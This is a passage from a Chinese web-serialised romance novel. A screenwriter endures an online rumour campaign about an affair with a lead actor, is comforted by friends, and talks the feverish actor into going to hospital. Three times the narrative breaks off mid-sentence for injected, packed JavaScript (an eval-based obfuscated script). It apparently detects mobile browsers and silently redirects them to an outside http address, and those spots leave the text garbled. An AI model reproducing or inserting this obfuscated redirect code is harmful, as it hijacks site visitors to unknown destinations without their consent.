【只有我觉得如果是真的也挺好嗑吗?才华编剧x实力演员……】 【楼上是水军吧?这也能嗑?明显是有人要搞沈淮时,拉无辜编剧下水!】 【工作室是死的吗?这种造谣还不告?】 【‘讨论剧本’?深更半夜孤男寡女,讨论什么剧本需要那么久?娱乐圈真乱。】 闻朝一条条翻下去,血液一点点凉透,指尖冰冷麻木。那些恶意的揣测、肮脏的臆想、轻佻的调侃,像无数细密的针,扎在她身上,几乎要令人窒息。 闻朝握着手机的手指因为用力而微微发抖,指节泛白。一种冰冷的愤怒和巨大的荒谬感席卷了她。她感到恶心,不是因为被骂,而是因为这种毫无底线、肆意践踏他人努力与尊严的手段。 手机又震了一下,是群里宋枝发来的消息,这次是一条长长的语音。闻朝点开,宋枝的声音带着压抑不住的怒火和担忧: “朝朝!你千万别看网上那些狗屁东西!都是胡说八道!我已经联系我认识的一个律师朋友了,这种造谣诽谤完全可以告!还有,那个爆料的博主,我让我朋友去查他后台了,看是谁指使的!你稳住,千万别回应,什么都别说!我和易安马上买机票过去陪你!” 紧接着是陆易安冷静的语音:“朝朝,听枝枝的,别上网,别去看。保护好自己。需要任何法律或公关方面的支持,随时告诉我们。我们都在。” 闻朝没有回复,她不知道能说什么。谢谢?我没事?此刻的言语显得如此苍白无力。 就在这时,手机屏幕再次亮起,伴随着持续的震动。是一个没有储存的号码,但尾数有些眼熟。 她盯着那不断闪烁的光,没有去接。电话自动挂断后,很快又响了起来,锲而不舍。 闻朝知道,这不会是媒体,媒体不会这样连续拨打私人号码。 她深吸一口气,按下了接听键,但没有说话。 电话那头传来一个略显低沉、却异常清晰的男声,带着一丝不易察觉的紧绷,“闻朝,是我。” 是沈淮时。 闻朝的心猛地一揪,喉咙像被什么堵住,发不出声音。 “我看到网上的东西了。”他的声音透过电流传来,比平时更沉,更稳,却也能听出底下压抑的波澜,“你……还好吗?” 简短的问句,却让她鼻子忽然一酸,她用力咬住下唇,才没让那瞬间涌上的委屈和脆弱泄露出来。 “……还好。”她听到自己干涩的声音回答。 电话那头沉默了几秒,似乎是在判断她这句“还好”的真实性。 然后,沈淮时的声音再次响起,带着一种斩钉截铁的决断,“这件事,我会处理。你不要回应任何媒体,也不要看那些乱七八糟的评论。工作室已经在准备声明和律师函。” 他的语气很强硬,是一种不容置疑的保护姿态。闻朝知道,这是目前最理智、最正确的做法。由他的团队出面,切割,澄清,反击,将她从漩涡中心尽可能撇清。 可是…… “那些照片……”闻朝听到自己低声问,带着一丝连自己都未察觉的颤音,“聚餐那次,还有片场……” “都是断章取义,恶意剪辑。”沈淮时打断她,语气没有丝毫犹豫,“我们之间,没有任何需要向外界解释的‘私情’。” 他刻意加重了“私情”两个字,带着一种冷冽的否定。 闻朝握着手机的手指收紧。他的话像一盆冰水,浇熄了她心底那点因为他的来电而升起的微弱暖意,却也让她混乱的头脑骤然清醒。 是的,他们之间,在“外界”看来,必须、也只能是“没有任何需要解释的私情”。尤其是在这种时候,任何暧昧不清的回应,都只会火上浇油,坐实谣言。 “我明白。”她听见自己用同样平静、甚至有些疏离的声音回答,“我不会回应。工作我会照常进行。” “嗯。”沈淮时应了一声,语气似乎缓和了些,“明天片场见。……早点休息。” “你也是。” 电话挂断,公寓里只剩下空调低微的嗡鸣和自己略显急促的呼吸声。她握着手机,掌心一片湿冷。 “我们之间,没有任何需要向外界解释的‘私情’。” 这句话反复在她脑海中回想。理智上,她完全理解甚至赞同,可在情感上,总觉得心口泛着细细麻麻的疼。 她按灭了手机,坐在窗边,望着外面萧瑟的夜景。 手机屏幕亮了几次,又灭了几次。她都没有理会。 她静静地坐在那里,片刻之后,捧着电脑开始打字。 不是澄清,不是辩解。 她将自己纷乱的思绪、沉默的愤怒,和属于写作者的执着,全部倾注到文字里。 仿佛那些文字,便是她对抗现实荒谬的力量。 当她终于觉得有些疲倦的时候,窗外的天色已微微泛起了亮。 手机震了一下,是宋枝发来的消息,她也终于看清楚了屏幕上显示的时间,凌晨五点。 手机屏幕的光,映着闻朝眼底的红血丝和一夜未眠的疲惫。 宋枝的消息很简单,却带着不容置疑的力量:【我们落地了。大概六点半到你那儿。带了你爱吃的生煎和豆腐脑,等着。】 不是询问,是告知。是即便隔着千山万水,也要第一时间奔到你身边的那种斩钉截铁。 闻朝盯着那行字,指尖在冰凉的手机边缘摩挲了许久,从挚友这简短的文字中感受到了暖意。 她没有回复,只是慢慢放下手机,转身走进狭小的浴室,用冷水扑了扑脸。 冰凉的水珠刺激着皮肤,让她混沌的头脑清醒了几分。 六点刚过,门铃就响了起来,急促而有力。 闻朝刚打开门, “朝朝!”宋枝几乎是扑了进来,一把抱住她,力道大得让闻朝踉跄了一下。 “没事吧?啊?让我看看!”宋枝松开她,双手捧着她的脸,上上下下仔细打量,眉头拧得紧紧的,“脸色怎么这么差?是不是一晚上没睡?网上那些王八蛋说的屁话一个字都别往心里去!听见没!” 陆易安跟在后面进来,轻轻带上门,将行李箱靠墙放好,目光同样关切地落在闻朝脸上,声音温和却有力,“先别站着说话,坐下,吃点东西。” 宋枝这才想起来,赶紧把手里的袋子放到餐桌上,手忙脚乱地打开,“对对对,先吃饭!生煎,还是你最爱的那家!豆腐脑也是甜的,我特意让老板多放了糖,趁热吃!” 热腾腾的食物香气弥漫开来,带着市井的、踏实的烟火气。闻朝被宋枝按在餐桌旁的椅子上,看着面前摆开的还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280652|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒着热气的生煎和豆腐脑,又看了看风尘仆仆却眼神晶亮的好友,喉咙忽然哽了一下。 “你们……怎么这么快就来了?学校怎么办?”她声音有些哑。 “学校哪有你重要!”宋枝在她对面坐下,拿起一个生煎塞进自己嘴里,含混不清地说,“我跟导员请了半个月的假,易安那边刚好没什么课,就剩答辩论文了。再说了,这种时候,我们不来谁来?难道让你一个人面对那些妖魔鬼怪?” 陆易安给闻朝递过筷子和勺子,温声道:“别想那么多。先吃饭,吃饱了才有力气。” 闻朝不再说什么,低下头,夹起一个生煎。她小口小口地吃着,听着宋枝在一旁叽叽喳喳地控诉无良媒体。陆易安不时地插上一句关于背后规划这一切的人。 嘈杂,却充满生机。是她此刻最需要的声音。 “所以,沈淮时那边联系你了吗?”宋枝咽下一口豆腐脑,终于问到了最关键的问题,眼神紧紧盯着闻朝。 闻朝动作顿了顿,轻轻“嗯”了一声。 “他怎么说?”宋枝追问。 “他说,他会处理,让我别回应,别去看。”闻朝垂下眼帘,用吸管搅了一下杯里的豆腐脑,“说……我们之间,没有任何需要向外界解释的‘私情’。” 最后两个字,她说得很轻,几乎像叹息。 宋枝和陆易安对视一眼。 陆易安语气平和,“这是目前最稳妥的处理方式。他的团队出面,比你自己发声要有利得多。切割清楚,避免给谣言更多发酵的空间。” “我知道。”闻朝点点头,“我明白。” 宋枝却撇了撇嘴,有些不忿:“话是这么说没错,可这态度……也太公事公办了吧?听起来冷冰冰的。他难道就没说点别的?比如安慰你一下?毕竟这事你也是无妄之灾。” 闻朝想起电话里他那句低沉而清晰的“你还好吗?”,想起那短暂沉默里可能蕴含的关切,又想起他最后那句语气稍缓的“早点休息”。但这些在“没有任何需要解释的私情”这句冷硬的原则面前,显得如此微不足道,甚至……有些苍白。 “没说别的。”闻朝最终只是摇了摇头。 宋枝还想说什么,被陆易安在桌下轻轻踢了一脚。 陆易安看着闻朝,眼神通透,“朝朝,现在不是纠结个人感受的时候。你们的关系,无论是真是假,是什么性质,在这个节骨眼上,都必须退居二线。保护作品,保护你们各自的事业和声誉,是首要的。其他的,等风雨过去再说。” 闻朝抬起头,迎上陆易安沉稳的目光。是的,易安总是这样,一针见血,直指核心。她说的对。此刻沉溺于那点微妙的失落和心酸,毫无意义。 “我懂。”闻朝深吸一口气,眼神重新变得清明而坚定,“今天还要去剧组。工作不能停。” “我们陪你。”宋枝立刻说,“虽然进不去片场,但我们在外面等你,接你下班。或者,你需要我们做什么,查什么,尽管说!” “不用,你们刚下飞机,先休息。”闻朝看着两位好友眼底同样明显的倦色,心里既感动又愧疚,“我能处理好。剧组里……大家现在都很敏感,你们去了反而可能引起不必要的注意。” 陆易安沉吟片刻,点了点头,“也好。我们就在这儿,你需要的时候,随时在。另外,”她拿出自己的平板电脑,“关于那个最先爆料的营销号,还有几个跳得最凶的‘知情人士’账号,我和枝枝整理了一些初步的可疑点,虽然没那么专业,但或许能给你或者……沈淮时的团队提供一点思路。” 闻朝接过平板,看着上面条理清晰的梳理和标注,心头涌上一股热流。 “谢谢。”她低声说,声音里有不易察觉的哽咽。 “傻不傻,跟我们说什么谢。”宋枝揉了揉她的头发,眼圈也有点红,“记住,你不是一个人。天塌下来,还有我们俩帮你顶着呢!” 闻朝站起身,“我该去准备一下了。” “去吧。”陆易安微笑,“晚上回来,想吃什么都行。” 宋枝挥挥拳头,“加油!拿出编剧大魔王的气势,碾压一切牛鬼蛇神!” 闻朝终于露出了一丝几天来第一个真心的、带着暖意的笑容。 36. 她是故事的构筑者 闻朝换好衣服,再次检查了随身物品。宋枝和陆易安坚持送她到公寓楼下,看着她上了提前叫好的网约车。 车子启动,透过车窗,闻朝还能看到她们俩并肩站在晨光里,朝她用力挥手,脸上带着毫不掩饰的关切和鼓励。 车子汇入早高峰的车流。闻朝靠在椅背上,望着窗外飞速倒退的街道。 她没有再打开手机去看那些纷扰,只是安静地想着今天的工作安排,脑海里反复推敲着几处可能需要微调的剧本细节。 抵达影视基地时,门口果然比平日多了些蹲守的面孔。闻朝提前让司机绕到了相对僻静的一个侧门,这里平时只供部分内部车辆出入,管理严格。 她戴好帽子和口罩,下车后快步走向早已等候在那里的桑华。 “朝朝,这边!”桑华见到她,明显松了口气,引着她快速通过安检,“今天外面人更多了,陈导特意交代了,让大家尽量走这边。” “沈老师呢?”闻朝低声问了一句。 “沈老师团队的车半小时前就到了,好像也是绕了路从另一侧进来的。”桑华小声回答,顿了顿,又补充道,“朝朝,我看沈老师今天脸色……好像比昨天更差了点,我给他化妆遮了半天。不过他一来就直接去找陈导了,说是有事要商量。” 闻朝心头微沉,点了点头,没再多问。 闻朝走到自己临时办公的角落,放下包,拿出剧本和笔记。刚坐下,就看到陈导的助理李言书匆匆走过来,低声说:“闻编,陈导请您过去一下,在一号会议室。” 闻朝站起身,跟着李言书走向会议室。推开门,里面除了陈导,还有制片人,以及……沈淮时和他的经纪人。 沈淮时坐在靠窗的位置,穿着简单的黑色帽衫,脸色在会议室略显冷白的光线下,确实显得有几分憔悴。 但他坐姿挺直,目光沉静,正专注地看着手里的一份文件。听到开门声,他抬起头,目光与闻朝短暂相接,微微颔首,便又落回文件上,仿佛只是看到一个普通的同事。 他的经纪人,一个穿着干练套装、表情严肃的中年女性,则对闻朝礼貌性地点了点头。 “闻朝来了,坐。”陈导指了指沈淮时对面的空位,语气比平时多了几分凝重,“叫你们过来,是商量一下接下来几天的拍摄调整。” 制片人接话道:“现在外面的情况,大家心里都有数。为了保证拍摄进度和质量,也为了减少不必要的干扰,我们和沈老师团队商量了一下,决定从今天开始,集中拍摄几位主演,尤其是沈老师的大部分戏份。一些次要的、或需要大量群众演员的戏,暂时后调。” 陈导补充道:“这意味着拍摄强度会非常大,日程会排得很满。闻朝,你的工作也会相应调整,需要你随时跟进,确保在高强度下不出纰漏。压力会很大,能扛住吗?” 闻朝没有丝毫犹豫:“能。剧本和人物都在我脑子里,随时可以调整。” “好。”陈导点点头,又看向沈淮时,“淮时,你的身体……” “我没事。”沈淮时打断陈导的话,声音平稳,却带着不容置疑的坚定,“按调整后的计划来,我可以。” 他的经纪人欲言又止,最终还是没说什么,只是眉头皱得更紧。 会议很快结束,敲定了未来三天紧凑到近乎严苛的拍摄计划。 闻朝拿着调整后的通告单回到自己位置,开始快速梳理相关场次的剧本。 拍摄很快开始。正如计划所言,镜头几乎全程聚焦在几位主演身上,尤其是沈淮时。 一场接一场情绪浓烈或需要大量台词功底的戏份被密集安排。影棚里的气氛高度紧张,除了导演的指令和演员的台词,几乎听不到其他杂音。 沈淮时仿佛变成了一个不知疲倦的表演机器。无论是需要爆发力的争吵戏,还是需要极致隐忍的内心戏,他都能在极短的休息间隙调整好状态。 他仿佛将外界所有的压力、非议、甚至疲惫,都化作了燃料,投入到了角色顾嘉言的灵魂之中。 高强度拍摄持续到深夜。最后一个镜头拍完,导演喊“收工”时,所有人都几乎虚脱。 沈淮时在助理许安的搀扶下走到休息区,坐下后便闭上眼睛,仰头靠在椅背上,胸膛微微起伏,额前的碎发被汗水浸湿。 闻朝也感到精疲力尽,但看着沈淮时明显透支的样子,心头那根弦依旧绷着。她收拾好自己的东西,准备离开,经过他身边时,脚步下意识放缓。 沈淮时似乎感觉到了,缓缓睁开眼。他看着她,嘴唇动了动,似乎想说什么,但最终,只是对她极轻、极慢地,摇了摇头。 那摇头的幅度很小,含义却明确:我没事,不用管我,你快回去休息。 闻朝读懂了他的意思,加快了离开的脚步。 她转身,走向出口。走到门口时,忍不住又回头看了一眼。沈淮时依旧闭着眼靠在椅背上,侧脸在昏暗的灯光下,透着浓浓的倦意。他的助理正低声跟他说着什么,他微微点头。 闻朝收回目光,走出影棚。夜风带着凉意扑面而来,吹散了棚内闷热的气息。 回到公寓,宋枝和陆易安果然还在等她。客厅的灯温暖地亮着,桌上摆着显然是刚热过的宵夜。 “怎么样?”宋枝立刻迎上来,上下打量她,“累坏了吧?快吃点东西!” 陆易安则递过来一杯温水,目光敏锐,“沈淮时那边……撑得住吗?” 闻朝接过水喝了一口,在沙发上坐下,揉了揉发胀的太阳穴,“拍摄强度很大,他……很拼。”她顿了顿,声音有些低,“看着很累。” “这种时候,不拼也不行。”陆易安坐到她身边,语气冷静,“集中拍摄,快速推进,是应对舆论围剿、稳定军心最有效的方式之一。他用作品和职业态度硬刚,虽然辛苦,但方向是对的。” 宋枝把热好的粥端到闻朝面前,叹了口气,“也是难为他了。不过朝朝,你也别光顾着心疼他,你自己也累得不轻。快吃,吃完赶紧洗澡睡觉。” 闻朝点点头,小口喝着温热的粥。 宋枝盘腿坐着,膝盖上摊着笔记本电脑,屏幕的光映着她蹙紧的眉头。 陆易安则靠在一旁的单人沙发里,指尖无意识地摩挲着温热的马克杯边缘,眼神落在虚空某处,显然也在思索。 “网上风向好像……稍微有点变化。”宋枝打破了沉默,语气里带着一丝不确定的谨慎,“下午开始,有几个之前跳得挺凶的营销号,悄悄删了最开始那几条带节奏的微博。虽然没道歉,但动作挺微妙的。而且,关于你和沈淮时的‘绯闻’热搜,热度在往下掉,虽然还在榜上,但位置靠后了很多。” 陆易安抬眼看过来,“是沈淮时团队施压的结果?还是背后的人见势头不对,暂时收手?” “都有可能。”宋枝滑动着触控板,“我那朋友说,查到其中一个号最近有一笔来源可疑的款项流入,但对方很谨慎,用的是境外虚拟账户,暂时追不到源头。不过,删博这个动作本身,就说明他们感到了压力,或者……得到了新的指令。” 闻朝安静地听着,小口啜饮着粥。热度下降是好事,但这绝不意味着风波平息。更可能的是,对手暂时蛰伏,等待下一个更致命的时机,或者,将火力转向其他方向。 “剧组官微今天发的两条花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以沈淮时才会那么拼。”宋枝叹了口气,“他是在用他自己的方式,扛住最核心的压力,给剧组,也给可能动摇的资方吃定心丸。” “易安,”闻朝忽然开口,声音在寂静中显得格外清晰,“你之前说,整理了一些可疑账号的信息?” “嗯。”陆易安立刻起身,从随身的文件袋里拿出几张打印好的A4纸,上面是她和宋枝用不同颜色笔迹做的标记和批注,“主要是最初爆料‘礼物事件’和后续推动‘绯闻’的几个关键账号,它们之间的互动模式、发文时间规律、以及某些用词的共性。虽然不能作为直接证据,但或许能提供一些追查的思路。” 闻朝接过那几张纸,仔细地看着上面条理清晰的梳理。那些冰冷的账号ID、刻意引导的文案、精心挑选的发布时间……背后是一张怎样精心编织又充满恶意的网? “这些……我可以想办法,匿名提供给值得信任的、正在调查这件事的人吗?”闻朝抬起头,看向两位好友。 她没有明说给谁,但宋枝和陆易安立刻明白了她的意思,彼此对视一眼,然后郑重地点了点头。 “当然可以。”陆易安说,“这些本来就是为你整理的。怎么用,用在何处,你自己决定。只是要千万小心,不要暴露你自己。” “我知道。”闻朝将纸张仔细地收好,放进自己的随身笔记本夹层里。一种清晰的、要做点什么的冲动,在她心底升起。 她不能只是被动地承受,看着沈淮时和整个剧组在前面冲锋陷阵。她是编剧,是故事的构筑者,也是这个项目不可或缺的一部分。她必须用自己的方式,为这场保卫战,增添一份力量。 “明天,”闻朝的声音恢复了平日的沉稳,甚至带着一种破釜沉舟般的冷静,“拍摄还会继续。我会做好我该做的一切。” 宋枝看着她眼中重新燃起的、熟悉的专注与坚毅光芒,终于松了一口气,伸手拍了拍她的肩膀,“这就对了!我们的闻大编剧,什么时候怕过事儿?兵来将挡,水来土掩!” 陆易安也露出了几天来第一个放松些的微笑,“早点休息吧。养足精神,明天才能继续战斗。” 37. 他不能出事 凌晨的寂静被一阵急促但克制的敲门声打破。闻朝惊醒,看了看手机屏幕,凌晨三点四十二分。 客厅里传来宋枝压低声音的询问和陆易安走向门口的脚步声。片刻后,陆易安走到床边,声音响起,带着一丝罕见的紧绷,“朝朝,桑华来了,说有急事。” 闻朝心头一跳,迅速起身披了件外套打开门。客厅里只开了一盏落地灯,桑华裹着一件薄外套站在门口,头发有些凌乱,脸上带着掩饰不住的焦虑和疲惫,眼圈微微发红。 “桑华?怎么了?”闻朝快步走过去。 “朝朝……”桑华看到她,声音带着一点哽咽,又强行压了下去,“是沈老师……他……他好像发烧了,刚才在片场休息室量体温,快三十九度了。” 闻朝只觉得一股凉意瞬间从脚底窜起,“现在呢?人在哪儿?” “还在休息室,许安哥和经纪人都在。陈导也知道了,刚过去。”桑华语速很快,带着慌乱,“本来不想打扰你,但……沈老师状态很不好,明明人都烧得有点迷糊了,还硬撑着说天亮那场戏能拍……陈导都发火了,可他不听劝。许安哥悄悄让我来问问你,看有没有办法……” 话没说完,但意思已经很清楚。沈淮时那股近乎偏执的倔强,在身体垮掉的时候,成了最危险的东西。而在这个剧组里,或许只有闻朝,能用一种他听得进去的方式,去劝服他,或者……至少让他意识到事情的严重性。 宋枝和陆易安也围了过来,脸色凝重。 “他助理让你来找朝朝?”陆易安敏锐地抓住了关键,“他们团队没办法?” “许安哥说,沈老师现在谁的话都听不进去,经纪人的话也当耳边风,只反复说‘戏不能停’。”桑华急得直跺脚,“陈导骂也没用,他平时最敬重陈导的……可这次就像魔怔了一样。” 闻朝站在原地,指尖冰凉。她知道沈淮时在拼什么,为什么拼。 那场天亮后要拍的戏,是顾嘉言在经历所有背叛和打击后,重新站起来,走到社会和公众面前,是人物弧光的转折点,也是沈淮时此前那场耗尽心力的独角戏后,情绪和体能的又一次极限挑战。他不能倒在这里,无论是为了角色,还是为了向所有人证明,他能扛过去。 可身体不是钢铁。 “我去看看。”闻朝几乎没有犹豫,转身就要去换衣服。 “朝朝!”宋枝一把拉住她,“这个点,你去片场?万一被蹲守的媒体拍到……” “顾不了那么多了。”闻朝红着眼,声音泛着哽咽,却异常坚决,“他不能出事。” 陆易安按住宋枝的手,对闻朝点了点头,“我们陪你一起。桑华,你出来的时候,有人注意到吗?” 桑华摇头,“我是从道具仓库那个小侧门溜出来的,那边晚上没人。” “走吧。”陆易安已经快速拿起了手机和外套,“低调点。” 凌晨的街道空旷而寂静,只有路灯投下孤寂的光晕。 桑华将车开得又快又稳,一路无言。闻朝坐在副驾,望着窗外飞速倒退的模糊街景,心脏在胸腔里沉沉地跳动着。担忧、焦急、还有一丝说不清道不明的沉重,压得她几乎喘不过气。 车子悄无声息地驶入影视基地,停在离沈淮时休息室最近的一个隐蔽角落。桑华领着她们,避开主要通道,从堆满杂物的后台区域绕了过去。 休息室门口,沈淮时的经纪人杨露正焦灼地踱步,看到桑华带着闻朝三人过来,愣了一下,随即眉头皱得更紧,但眼神里却流露出一种复杂的、仿佛看到一线希望的光芒。她显然已经从许安那里知道了桑华去请闻朝的事。 “闻编剧……”杨露迎上来,声音压得极低,带着疲惫和无奈,“您怎么来了?这么晚……” “杨姐,情况怎么样?”闻朝直接问道。 杨露叹了口气,指了指虚掩的门缝,“烧还没退,陈导在里面劝,但他……唉。”她没再说下去,但脸上的忧色已经说明了一切。 闻朝点了点头,示意宋枝和陆易安在外面等,然后轻轻推开了休息室的门。 室内只开了一盏昏暗的壁灯。陈导背对着门站在窗前,背影显得有些烦躁。许安手足无措地站在一旁,手里还拿着退烧贴和温水。 而沈淮时,半靠在简易的单人沙发上,身上盖着一条薄毯。他闭着眼,脸色是不正常的潮红,额发被汗水浸湿,贴在皮肤上。 即使闭着眼,眉头也紧紧蹙着,嘴唇因为高热而有些干裂。听到开门声,他极其缓慢地睁开了眼睛。 那双总是沉静清明的眼眸,此刻因为发烧而显得水汽氤氲,目光有些涣散,但在辨认出门口的身影是闻朝时,瞳孔几不可察地收缩了一下,随即,那涣散的目光里,凝聚起一点极其微弱、却异常执拗的亮光。 “你怎么来了?”他的声音嘶哑得厉害,几乎不像他。 陈导闻声转过身,看到闻朝,脸上闪过一丝讶异,随即又化为更深的疲惫和一丝了然。他没说话,只是对闻朝微微摇了摇头,示意自己已经尽力。 闻朝没有回答沈淮时的问题,她走到他面前,蹲下身,目光平静地直视着他因为高热而显得格外明亮的眼睛。 “沈淮时,”她叫他的名字,声音不高,却清晰平稳,带着一种不容置疑的穿透力,“你知道你现在体温多少吗?” 沈淮时看着她,嘴唇动了动,没发出声音。 “三十八度九。”闻朝替他回答,语气没有起伏,“你现在的状态,别说拍那场需要高度集中和体力的朝堂戏,就是站起来走两步都可能晕倒。” “我可以……”沈淮时试图开口,声音却嘶哑得几乎破碎。 “你不可以。”闻朝打断他,语气依旧平静,却像一把冰冷的刀,斩断他所有逞强的借口,“顾嘉言可以扛着伤病走向公众,走到所有人面前,那是戏剧。但你是沈淮时,你是演员,你的身体是你诠释角色的工具,不是用来消耗殆尽的燃料。工具坏了,戏怎么拍?” 她的话直白而残酷,没有丝毫温情脉脉的安慰。陈导在一旁听得眉头一跳,许安更是屏住了呼吸。 沈淮时死死地盯着她,胸膛因为急促的呼吸而微微起伏,眼中那点执拗的亮光剧烈地闪烁着,像是愤怒,又像是某种被彻底揭穿后的狼狈与不甘。 “戏不能停……”他几乎是咬着牙,从喉咙里挤出这几个字。 “戏不会停。”闻朝依旧蹲在那里,仰视着他,目光没有丝毫退让,“陈导在这里,整个剧组在这里,剧本在这里。你倒下了,戏才会真的停。” 她顿了顿,声音放低了些,却更加字字清晰,“沈淮时,你之前说过,答案在作品里。你现在把自己耗干了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289399|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒在半路上,那个‘答案’还怎么交出来?你让顾嘉言怎么‘站’起来?你让粉丝怎么安心?她们为你做的那些怎么还回来?” 最后这句话,像一记重锤,狠狠砸在沈淮时强撑的心房上。他眼中的执拗和亮光,如同风中残烛,剧烈地摇晃了几下,然后,一点点地,黯了下去。 取而代之的,是一种深不见底的疲惫,和一丝被说中心事后,无力反驳的颓然。 他闭了闭眼,再睁开时,眼底只剩下一片烧灼后的灰烬般的平静。 “……那场戏,”他哑声问,目光却不再看她,而是投向虚空,“怎么办?” 闻朝站起身,转向陈导,“陈导,那场戏,能不能调整一下拍摄顺序?或者,先拍不需要沈老师正面特写的部分,比如众人的反应镜头,或者空镜过渡?等他退烧,体力稍微恢复一些,再补拍他的正面戏份。” 陈导沉吟片刻,点了点头,“可以。场面调度可以拆分。先拍其他部分,问题不大。”他看向沈淮时,语气严肃,“淮时,闻朝说得对。你现在必须休息,接受治疗。这是命令,不是商量。” 沈淮时靠在沙发上,沉默了很久。久到众人都以为他又要固执己见时,他终于极轻、极缓地,点了点头。 那点头的幅度微不可察,却仿佛用尽了他最后一丝力气。 “许安,”杨露立刻上前,声音里带着如释重负,“快,联系医生,准备车,马上去医院。” 许安连忙应声,拿出手机开始安排。 闻朝后退一步,将空间让给忙碌起来的杨露和许安。她看着沈淮时被搀扶起来,他依旧闭着眼,眉头紧锁,身体因为不适和虚弱而微微发颤。 在他被扶着经过她身边时,他忽然极其艰难地,微微侧过头,眼睛睁开一条缝,看向她。 那眼神依旧涣散,带着高烧的迷茫,但闻朝却清晰地看到,那里面没有了之前的执拗和抗拒,只剩下一片沉重的、近乎依赖的疲惫,和一丝极其微弱的……歉意?或者说,是感谢? 他什么也没说。 只是那样看了她一眼,很短的一眼。 然后,就被杨露和许安小心翼翼地搀扶着,慢慢走出了休息室。 门轻轻关上,隔绝了外面的声响。 闻朝站在原地,直到脚步声远去,才缓缓地、长长地舒了一口气。她这才感觉到,自己的后背,不知何时,已经沁出了一层冷汗。 宋枝和陆易安推门进来,看到她苍白的脸色,连忙一左一右扶住她。 “没事吧?”宋枝担忧地问。 闻朝摇了摇头,声音有些发虚,“我没事。他……去医院了。” “你刚才……真够狠的。”陆易安看着她,眼神复杂,“但说得对。那种时候,安慰和讲道理都没用,就得把最坏的结果摔在他面前。” 闻朝苦笑了一下,没有说话。她刚才又何尝不是提着一口气,在赌?赌他对作品的执着,赌他那份超乎常人的责任心,赌他对粉丝的爱意和愧疚,也赌……他们之间那点不足为外人道,却又真实存在的默契与懂得。 所幸,她赌赢了。 窗外的天色,已经透出了一丝极其黯淡的灰白。 新的一天,终究还是来了。只是计划,不得不再次为现实让路。 但至少,最坏的情况,暂时避免了。 38. “好,听你的。” 医院消毒水的气味冰冷而刺鼻,渗入凌晨疲惫的感官。 单人病房里异常安静,只有监测仪器规律、轻微的滴答声。沈淮时躺在病床上,手臂上扎着输液针,药液正缓慢地滴入静脉。 高烧在强力药物的作用下暂时退去了一些,脸上不正常的潮红褪去,只剩下病态的苍白和深深的倦怠。他闭着眼,呼吸比来时平稳了许多,但眉宇间那抹挥之不去的疲惫刻痕,却比高烧更显沉重。 经纪人杨露和助理许安守在门外,压低声音与闻讯赶来的制片方代表、以及剧组负责宣传和法务的同事紧急沟通。 陈导在确认沈淮时暂无大碍后,已匆匆返回片场,主持大局,调整拍摄计划。 闻朝、宋枝和陆易安没有立刻离开。她们坐在走廊尽头靠窗的长椅上,沉默地看着窗外渐渐亮起来的天色。 城市在苏醒,但这一方小小的医疗空间,却仿佛被按下了暂停键,凝固在高烧退去后虚脱般的寂静里。 “医生怎么说?”宋枝忍不住低声问刚从病房出来的许安。 许安脸色也很差,带着熬夜的憔悴,“急性上呼吸道感染引发的高热,加上过度疲劳和免疫力下降。需要静养几天,至少彻底退烧、体力恢复一些才能考虑工作。医生特别强调,不能再硬撑,不然可能引发更严重的问题。” 陆易安点了点头,“身体是本钱,这次是警告。以后多注意点” 许安苦笑了一下,看了一眼紧闭的病房门,又看了一眼长椅上的闻朝,欲言又止,最终只是低声道:“谢谢闻编。刚才……多亏您了。” 闻朝摇了摇头,没说什么。 走廊另一端传来急促却放轻的脚步声,是杨露陪着一位西装革履、气质精干的中年男人走过来,后面还跟着一个提着公文包的年轻人。应该是资方代表和法务。 他们停在病房门口,低声交谈了几句,杨露脸上是职业化的冷静,但眼神里的压力显而易见。资方代表朝病房内看了一眼,神色严肃,最终对杨露点了点头,又低声交代了几句,便带着人匆匆离开了,大概是去片场或公司处理后续事宜。 杨露站在原地,揉了揉眉心,这才朝闻朝她们这边走来。 “闻编剧,宋小姐,陆小姐,”杨露的声音带着掩饰不住的疲惫,但依旧保持着礼节,“多谢你们及时过来,也辛苦你们守到现在。淮时这边情况暂时稳定了,医生安排了特护,我们会留人守着。你们也累了一夜,先回去休息吧。这边……我们会处理好的。” 她的语气客气而疏离,带着职业经纪人惯有的边界感,将所有私人情绪与感激都包裹在了得体的应对之下。 闻朝知道,这是打发,也是保护。她们确实没有立场继续留在这里。 “杨姐,沈老师醒了如果有什么需要,或者剧组那边有什么需要我配合调整的,随时联系我。”闻朝站起身,语气平静。 “好的,一定。”杨露点头,又看了一眼病房方向,轻声道,“闻编剧,刚才……谢谢。有些话,我们说不进去。” 这句道谢,比方才许安那句更沉,也更多了几分复杂的意味。 闻朝只是再次点了点头,“应该的。我们先走了。” 离开医院,坐进车里,清晨的阳光已经有些刺眼。闻朝靠在车后座,望着窗外飞速倒退的街景,一言不发。 身体的疲惫如潮水般涌上,但大脑却异常清醒,甚至有些麻木。一夜未眠的困顿,凌晨惊心的对峙,医院里冰冷的消毒水味道,杨露那声沉甸甸的道谢,还有沈淮时最后看她那一眼的复杂意味……所有画面和感受混杂在一起,沉甸甸地压在心头。 